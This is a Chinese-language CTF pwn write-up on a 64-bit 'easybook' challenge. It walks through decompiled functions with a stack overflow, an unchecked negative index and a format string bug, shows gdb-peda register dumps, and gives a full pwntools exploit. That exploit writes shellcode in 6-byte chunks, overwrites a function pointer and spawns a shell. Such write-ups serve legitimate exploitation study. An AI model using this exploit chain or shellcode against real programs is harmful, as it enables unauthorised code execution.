一道简单的访问越界、栈溢出pwn解题记录

原创

一梦不醒 于 2021-03-16 17:52:16 发布 152 收藏

分类专栏： pwn 文章标签： pwn 数据访问越界 shellcode

检查题目

checksec保护都没开，降低了难度。64位程序，ida查看代码：

```
ManageBook *v3; // rbx
 char buf[24]; // [rsp+0h] [rbp-30h] BYREF
 ManageBook *v6; // [rsp+18h] [rbp-18h]

 setvbuf(stdout, 0LL, 2, 0LL);
 setvbuf(stdin, 0LL, 1, 0LL);
 puts("your name:");
 read(0, buf, 0x100uLL);    <---
 printf("Hello %s \n", buf);
 v3 = (ManageBook *)operator new(0x100uLL);
 ManageBook::ManageBook(v3);
```

有一个栈溢出，泄露libc。覆盖返回地址为`system(“bin/sh”)`，或者直接onegadget。
再看changebook函数：

```
__int64 __fastcall ManageBook::ChangeBook(ManageBook *this)
{
 __int64 result; // rax
 __int64 buf; // [rsp+10h] [rbp-10h] BYREF
 __int16 v3; // [rsp+18h] [rbp-8h]
 int v4; // [rsp+1Ch] [rbp-4h] BYREF

 printf("change Book id:");
 v4 = 0;
 scanf("%d", &v4);     <----没有检查下标导致越界
 printf("new Name:");
 buf = 0LL;
 v3 = 0;
 read(0, &buf, 0xAuLL);
 result = buf;
 *(_QWORD *)((char *)this + 12 * v4 + 12) = buf;
 return result;
}
```

可以修改内存地址。再看showbook函数：

```
int __fastcall ManageBook::ShowBook(ManageBook *this)
{
  int v2; // [rsp+1Ch] [rbp-4h] BYREF

  puts("Whi*ch bo*ok d*o yo*u wa*nt t*o sh*ow?");
  scanf("%d", &v2);
  return printf((const char *)this + 12 * v2 + 12);
}
```

存在格式化字符串漏洞，但是格式化字符串的长度限制了10个字节，不好利用。
addbook函数,只有10字节：

```
 printf("input BookName:");
  buf = 0LL;
  v3 = 0;
  read(0, &buf, 10uLL);  <-----
  *(_QWORD *)((char *)this + 12 * *((int *)this + 2) + 12) = buf;
  *((_DWORD *)this + 3 * *((int *)this + 2) + 5) = *((_DWORD *)this + 2);
```

调试

栈溢出就不说了，记录一下访问越界的调试过程，首先看我们访问下标为-1时程序修改的是哪里的内存，为了明显我们先添加一个名为aaaa的书book1，然后进入edit，修改-1处书名为bbbb，通过ida查看，在0x400A35处（赋值处）下断点：

```
RAX: 0xa62626262 ('bbbb\n')
RBX: 0x614c20 --> 0xa62626262 ('bbbb\n')
RCX: 0x7ffff7782320 (<__read_nocancel+7>: cmp    rax,0xfffffffffffff001)
RDX: 0x614c20 --> 0xa62626262 ('bbbb\n')
RSI: 0x7fffffffdd90 --> 0xa62626262 ('bbbb\n')
RDI: 0x0
RBP: 0x7fffffffdda0 --> 0x7fffffffdde0 --> 0x400c30 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffdd80 --> 0x614c20 --> 0xa62626262 ('bbbb\n')
RIP: 0x400a40 (<ManageBook::ChangeBook()+144>: nop)
R8 : 0x7ffff7fd7740 (0x00007ffff7fd7740)
R9 : 0x9 ('\t')
R10: 0x0
R11: 0x246
R12: 0x4007a0 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffdec0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400a35 <ManageBook::ChangeBook()+133>: lea    rdx,[rax+0xc]
   0x400a39 <ManageBook::ChangeBook()+137>: mov    rax,QWORD PTR [rbp-0x10]
   0x400a3d <ManageBook::ChangeBook()+141>: mov    QWORD PTR [rdx],rax <------
=> 0x400a40 <ManageBook::ChangeBook()+144>: nop
   0x400a41 <ManageBook::ChangeBook()+145>: leave
   0x400a42 <ManageBook::ChangeBook()+146>: ret
   0x400a43: nop
   0x400a44 <ManageBook::ShowBook()>: push   rbp
```

往下执行，看到将rax的值bbbb赋值给了rdx指向的内容处，看到rdx为0x614c20 ，看一下这个地址指向的是哪里：

```
gdb-peda$ x/16gx 0x614c20
0x614c20: 0x0000000a62626262 0x6161616100000001
0x614c30: 0x000000000000000a 0x0000000000000000
```

可以看到写到了刚才book1（aaaa）的前面，如果输入0的话刚好修改book1，

```
RAX: $0x4008ee (<ManageBook::AddBook()>: push   rbp)
RBX: 0x614c20 --> 0x400d70 --> 0x4008ee $(<ManageBook::AddBook()>: push   rbp)
RCX: 0x10
RDX: 0x614c20 --> 0x400d70 --> 0x4008ee (<ManageBook::AddBook()>: push   rbp)
RSI: 0x0
RDI: 0x614c20 --> 0x400d70 --> 0x4008ee (<ManageBook::AddBook()>: push   rbp)
RBP: 0x7fffffffdde0 --> 0x400c30 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffddb0 --> 0xa6c7279 ('yrl\n')
RIP: 0x400bd8 (<main+253>: call   rax)
R8 : 0x0
R9 : 0x0
R10: 0x0
R11: 0x7ffff78026a0 --> 0x2000200020002
R12: 0x4007a0 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffdec0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400bce <main+243>: mov    rax,QWORD PTR [rax]
   0x400bd1 <main+246>: mov    rdx,QWORD PTR [rbp-0x18]
   0x400bd5 <main+250>: mov    rdi,rdx
=> 0x400bd8 <main+253>: $call   rax
   0x400bda <main+255>: jmp    0x400c15 <main+314>
   0x400bdc <main+257>: mov    rax,QWORD PTR [rbp-0x18]
   0x400be0 <main+261>: mov    rax,QWORD PTR [rax]
   0x400be3 <main+264>: add    rax,0x8
Guessed arguments:
arg[0]: 0x614c20 --> 0x400d70 --> 0x4008ee (<ManageBook::AddBook()>: push   rbp)
```

可以看到addbook执行的时候会call rax，现在是正常call的addbook，它是0x614c20指向的地址处的内容，刚才我们得到我们能控制的刚好是0x614c20这里的内容，所以思路就是修改0x614c20处的地址为我们shellcode的地址，当执行addbook的时候就会去`call rax`，执行shellcode。问题是shellcode怎么布置，我们能控制的就是book所在的堆，和越界漏洞，想写入shellcode只有靠addbook写，但是调试后发现addbook只能写如10字节，其中八字节是bookname，四个字节是bookid，无法连续，我们可以将shellcode拆分成6字节+两字节跳转来连接shellcode，但是有的指令不止6字节（比如`mov rdx,“/bin/sh”`），所以还得需要`read(0,&buf,0xff)`来扩充输入，构造下面shellcode：

```
jmp_4 = '\xeb\x04' #向后跳四字节
#read(0,&buf,0xff)扩大输入
shellcode1 = asm('mov rsi, rax')
addbook(shellcode1.ljust(6,'\x90')+jmp_4)

shellcode2 = asm('''
                xor rdi, rdi
                ''')
addbook(shellcode2.ljust(6,'\x90')+jmp_4)

shellcode3 = asm('''
                xor rax, rax
                ''')
addbook(shellcode3.ljust(6,'\x90')+jmp_4)

shellcode4 = asm('''
                mov edx,0xff
                ''')
addbook(shellcode4.ljust(6,'\x90')+jmp_4)

shellcode5 = asm('''
                syscall
                ''')
addbook(shellcode5)
```

这段shellcode通过addbook写入bookname处，然后我们再通过edit（-1）来修改函数地址为shellcode地址，当addbook时就会执行shellcode，这时关键shellcode地址哪里来，题目里面留了一个指针，上面说了pInfoAddr指向book1的name，我们可以刚刚我们shellcode就写在了这个地方，所以shellcode地址就有了，通过ida就可以看到为0x6020E8:

```
gdb-peda$ x/16gx 0x6020E8
0x6020e8 <pInfoAddr>: 0x0000000000614c2c 0x0000000000000001
0x6020f8: 0x0000000000000000 0x0000000000000000
0x602108: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/16gx 0x0000000000614c2c
0x614c2c: 0x00000a6161616161 0x6262626200000000
0x614c3c: 0x0000000100000a62 0x6363636363636363
0x614c4c: 0x6464646400000002 0x0000000364646464
```

到这里思路就完整了，当程序addbook时，会触发shellcode，read真正的shellcode，下面是实现结果：

```
[DEBUG] Received 0x84 bytes:
    'core\t       easybook\t\t\t  peda-session-netkit-ftp.txt\n'
    'easy_book.py   easybook.py\t\t  writeup\n'
    'easy_book1.py  peda-session-easybook.txt\n'
core           easybook              peda-session-netkit-ftp.txt
easy_book.py   easybook.py          writeup
easy_book1.py  peda-session-easybook.txt
$
```

exp:

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#p = process("./easybook")
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['terminator','-x','sh','-c']
```

```python
p = process('./easybook')
easybook = ELF('./easybook')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
gadgets = [0x3a80c,0x3ac5e,0x3a812,0x3a819,0x5f065,0x5f066]

def dbg(address=0):
    if address==0:
        gdb.attach(p)
        pause()
    else:
        if address > 0xfffff:
            script="b *{:#x}\nc\n".format(address)
        else:
            script="b *$rebase({:#x})\nc\n".format(address)
        gdb.attach(p, script)
#0x0000000000400c93 : pop rdi ; ret
#pop_rdi_ret = 0x400c93
def addbook(bookname):
    p.recvuntil("Your choice:")
    p.sendline('1')
    p.recvuntil("input BookName:")
    p.sendline(bookname)
def showbook(id):
    p.recvuntil("Your choice:")
    p.sendline('3')
    p.recvuntil("to show?")
    p.sendline(id)
def editbook(id,newname):
    p.recvuntil("Your choice:")
    p.sendline('2')
    p.recvuntil("change Book id:")
    p.sendline(id)
    p.recvuntil("new Name:")
    p.sendline(newname)
p.recvuntil("your name:")
p.sendline('yrl')


shellcode_addr = 0x6020E8 #指向book1的内容的地址

jmp_4 = '\xeb\x04'
#read(0,&buf,0xff)扩大输入
shellcode1 = asm('mov rsi, rax')
addbook(shellcode1.ljust(6,'\x90')+jmp_4)

shellcode2 = asm('''
                xor rdi, rdi
                ''')
addbook(shellcode2.ljust(6,'\x90')+jmp_4)

shellcode3 = asm('''
                xor rax, rax
                ''')
addbook(shellcode3.ljust(6,'\x90')+jmp_4)

shellcode4 = asm('''
                mov edx,0xff
                ''')
addbook(shellcode4.ljust(6,'\x90')+jmp_4)
```

```
shellcode5 = asm('''
                syscall
                ''')
addbook(shellcode5)
#dbg(0x400BD8)
editbook('-1',p64(shellcode_addr))
p.sendlineafter('choice:\n','1')
#shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
p.send('\x90'*52+asm(shellcraft.sh())) #nop长度不够导致shellcode第一条指令未被执行
p.interactive()
```

总结

shellcode一般不是都可以用，我也试了很多，最后都失败了，关键检查的就是内存是否可执行，syscall参数是否被破坏，shellcode是否被完整执行，都能影响shellcode的作用。关于跳转那段shellcode的作用具体是干啥的，为什么会扩大输入？还需要以后研究。

关于另一个漏洞格式化字符串暂时没有想到如何将控制格式化字符串长度小于10去修改地址光%(offest)c$hn至少占5字节，无法写入，只能泄露。欢迎大佬交流想法！